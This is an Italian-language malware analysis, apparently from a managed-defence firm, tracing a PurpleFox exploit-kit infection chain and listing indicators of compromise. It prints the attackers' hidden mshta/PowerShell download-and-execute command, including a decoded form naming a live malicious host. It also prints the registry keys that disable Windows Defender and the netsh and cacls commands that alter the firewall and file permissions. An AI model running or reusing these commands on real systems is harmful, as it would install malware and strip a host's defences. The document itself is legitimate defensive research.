Nel mese di Gennaio 2021, il team Fortgale ha rilevato e gestito allarmi di sicurezza relativi a dei tentativi di compromissione di postazioni di lavoro eseguiti per mezzo dell’Exploit Kit PurpleFox.
L’immagine che segue rappresenta lo schema della compromissione osservato durante la nostra analisi:
Dettagli del servizio di Difesa Gestita di Fortgale.
Exploit Kit & Purple Fox
Un Exploit Kit è un kit di strumenti offensivi utilizzato dai criminali per compromettere le workstation durante la navigazione Internet. Il Kit sfrutta solitamente vulnerabilità dei Browser e software come Adobe Flash, Java, Microsoft Silverlight.
PurpleFox è un Exploit Kit il cui obiettivo è quello di eseguire codice PowerShell per il download di malware Rootkit. Identificato per la prima volta nel 2018, ecco una lista degli articoli tecnici che hanno trattato questa minaccia:
- Purple Fox Trojan burst out globally and infected more than 30,000 users | 360 Total Security Blog
- ‘Purple Fox’ Malware Can Rootkit and Abuse PowerShell (trendmicro.com)
- Purple Fox EK Adds Exploits for CVE-2020-0674 and CVE-2019-1458 to its Arsenal | Proofpoint US
- Purple Fox EK | New CVEs, Steganography, and Virtualization Added to Attack Flow – SentinelLabs (sentinelone.com)
La Catena di compromissione
1. Avvio della compromissione
Come già osservato in precedenti analisi, l’attacco risulta partire durante la navigazione alla pagina web hxxp://speedjudgmentacceleration[.]com .
Sfruttando una vulnerabilità di Adobe Flash, viene avviata la catena di compromissione della postazione tramite il comando:
mshta vbscript:createobject("wscript.shell").run("PowerShell -nop -windowstyle hidden -exec bypass -EncodedCommand DQAKAGYAbwByACgAJABpAD0AMQA7ACQAaQAgAC0AbABlACAAMQAwADsAJABpACsAKwApAA0ACgB7AA0ACgBpAGUAeAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcgBhAHcAYwBkAG4ALgBnAGkAdABoAGEAYwBrAC4AYwB5AG8AdQAvAHUAcAAuAHAAaABwAD8AawBlAHkAPQAxACIAKQANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMQA4ADAADQAKAH0ADQAKAA==",0)(window.close)
Decodifica in base64:
for($i=1;$i -le 10;$i++) { iex(new-object net.webclient).downloadstring("http://rawcdn.githack.cyou/up.php?key=1") Start-Sleep 180 }
Questo comando esegue il download (10 tentativi) e l’avvio di altro codice malevolo presente alla pagina hxxp://rawcdn[.]githack[.]cyou/up[.]php?key=1 che contiene ulteriori istruzioni per il payload finale.
2. Modifiche al sistema e controlli
Lo script comincia con la definizione di un nuovo tipo, all’interno del quale verranno importate le funzioni MsiInstallProduct e MsiSetInternalUI della libreria msi.dll, necessarie per l’installazione del malware e per nascondere il pop-up.
Successivamente lo script definisce un blocco di comandi che trasformerà in stringa e codificherà in base64. L’insieme di comandi viene usato per scaricare ed installare, attraverso MsiInstallProduct, una delle due risorse presenti in $msipathALL. Il tutto viene inserito in un loop che termina soltanto se viene trovato il valore di registro HKCU:\Software\7-Zip\StayOnTop
Entrambe le risorse, nonostante presentino estensioni differenti, sono dei file MSI identici (stesso hash). Questo è il payload finale per la compromissione della postazione:
SHA-256
d88ce4ccca6bc536dd3b80374be5e3f5ec9ffd96dc122352386dd4ca9af01cfc
3. Check privilegi amministrativi
Prima di eseguire il comando codificato attraverso una nuova chiamata PowerShell, il malware verifica di avere privilegi amministrativi:
Nel caso di esito negativo, in base all’architettura del sistema, vengono scaricati ed eseguiti script contenenti exploit per effettuare attività di “local privilege escalation“.
x32
hxxp://rawcdn[.]githack[.]cyou/up[.]php?key=3
x64
hxxp://rawcdn[.]githack[.]cyou/up[.]php?key=4
4. Il ruolo del file MSI
Il Rootkit viene scaricato dagli URL:
hxxp://rawcdn[.]githack[.]cyou/up.php?key=2
hxxp://rawcdn[.]githack[.]com/x7hGFE28oiG8kDre/BGuoFr0ACb9E0frq/afb90fd8276b3530cf1e526e60f8e1d61077e2a5/M001.jpg
Come già evidenziato in precedenza, i file risultano essere entrambi lo stesso dropper sotto forma di installer MSI che, durante il processo di installazione, crea nel sistema i file:
- un file con estensione .ini
- un file con estensione .log o .xml (in base all’architettura del sistema)
Il malware MSI, dopo aver salvato i due file, effettua alcune modifiche al registro di sistema:
- crea il valore
HKCU:\Software\7-Zip\StayOnTop
che verrà usato come controllo per la verifica dell’avvenuta installazione - disabilita Windows Defender creando i valori
HKCU\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware - imposta delle operazioni da eseguire al riavvio del sistema:
HKLM\System\CurrentControlSet\Control\SessionManager\PendingFileRenameOperations
\??\C:\Windows\AppPatch\Acpsens.dll, ,
\??\C:\Windows\system32\sens.dll, \??\C:\Windows\AppPatch\Acpsens.dll,
\??\C:\Windows\system32\sens.dll, ,
\??\C:\Windows\.xml, \??\C:\Windows\system32\sens.dll,
\??\C:\Windows\AppPatch\Ke583427.xsl, ,
\??\C:\Windows\.ini, \??\C:\Windows\AppPatch\Ke583427.xsl
5. Modifiche al sistema
Infine, il malware applica delle modifiche al Firewall di sistema (porte TCP e UDP) e modifica i permessi di jscript.dll e cscript.exe
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filterlist name=Filter1 "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=2222 protocol=TCP "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=3333 protocol=TCP "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=4444 protocol=TCP "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=5555 protocol=TCP "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=6666 protocol=TCP "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=8888 protocol=TCP "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9000 protocol=TCP "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9999 protocol=TCP "C:\Windows\SysWOW64\netsh.exe" ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1 "C:\Windows\SysWOW64\netsh.exe" ipsec static set policy name=qianye assign=y "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\jscript.dll "C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\jscript.dll /E /P everyone:N "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\jscript.dll "C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\jscript.dll /E /P everyone:N "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\cscript.exe "C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\cscript.exe /E /P everyone:N "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\cscript.exe "C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\cscript.exe /E /P everyone:N |
Il malware termina le attività eseguendo il comando:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -Seconds 900; Restart-Computer -Force
che consiste nel riavvio del sistema dopo 15 minuti, forzando l’esecuzione della libreria sens.dll alla riaccensione.
Quest’ultima risulta di centrale importanza per la persistenza e il controllo del sistema compromesso. Infatti, sfruttando la creazione di un servizio, il malware viene avviato con la creazione di un processo svchost e la conseguente injection dello shellcode .
Indicatori di Compromissione
SHA-256
-
d88ce4ccca6bc536dd3b80374be5e3f5ec9ffd96dc122352386dd4ca9af01cfc
MSI installer -
9845e02032d02130bde3ffe2a16ec9706893aa9c8db5712beed6f129a74ffb35
sens.dll (x64) – VirusTotal -
bcefd583e2562fbf38b28118eda0957ac96c3945d12868eaa9bc06f93da5e4db
sens.dll (x32) – VirusTotal
Domini
speedjudgmentacceleration[.]com
rawcdn[.]githack[.]cyou
rawcdn[.]githack[.]com